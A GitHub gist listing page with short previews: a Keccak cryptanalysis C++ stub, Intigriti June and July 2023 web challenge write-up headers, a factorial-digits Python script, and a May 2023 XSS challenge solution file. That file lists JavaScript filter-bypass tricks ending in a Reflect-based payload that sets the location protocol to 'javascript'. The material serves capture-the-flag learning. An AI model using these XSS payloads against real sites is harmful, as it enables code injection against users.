Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Siss3l / sha3.cpp
Last active December 24, 2023 23:34
Keccak Cryptanalysis
#include <string>
#include <vector>
#include <sstream>
#include <iostream>
#include <algorithm>
typedef unsigned char UINT8;
typedef unsigned short UINT16;
typedef unsigned int UINT32;
typedef unsigned long long UINT64;
@Siss3l
Siss3l / 0723.md
Last active July 26, 2023 00:02
Intigriti's July 2023 Web challenge thanks to @kavishkagihan

Intigriti July Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 35

Challenge

Description

@Siss3l
Siss3l / 0623.md
Last active July 1, 2023 09:02
Intigriti's June 2023 XSS web challenge thanks to @0xGodson_

Intigriti June Challenge

  • Category: Web
  • Impact: Medium
  • Solves: ~50

Chall

Description

@Siss3l
Siss3l / 0523.js
Last active June 23, 2023 18:53
Intigriti's May 2023 XSS web challenge thanks to @RenwaX23
xss = "'\xff'.codePointAt()"; // To obtain the number 255
xss = "Date.length"; // To obtain the digit 7
xss = "''+RegExp()"; // To return the pattern string "/(?:)/"
xss = "''.split('')"; // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs)
xss = "history.length"; // To get any number per page interaction, useful to avoid using like single quotes
xss = "localStorage.x"; // From the user `localStorage` who will retrieve any contained value from the `x` key
xss = "origin.match()"; // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]`
xss = "(''+RegExp()).at()"; // To return a slash string "/" with only 18 allowed characters
xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener
xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url p
@Siss3l
Siss3l / fact.py
Last active August 18, 2023 21:39
Returns the last nonzero digits of a factorial
"""
This code provides functions to find the last nonzero values of a positive factorial.
"""
def f(n: int, k: int) -> int:
"""
Returns the k last nonzero digits.
.. note::
As f(10**100, 13) is a Googolbang where the 13 last nonzero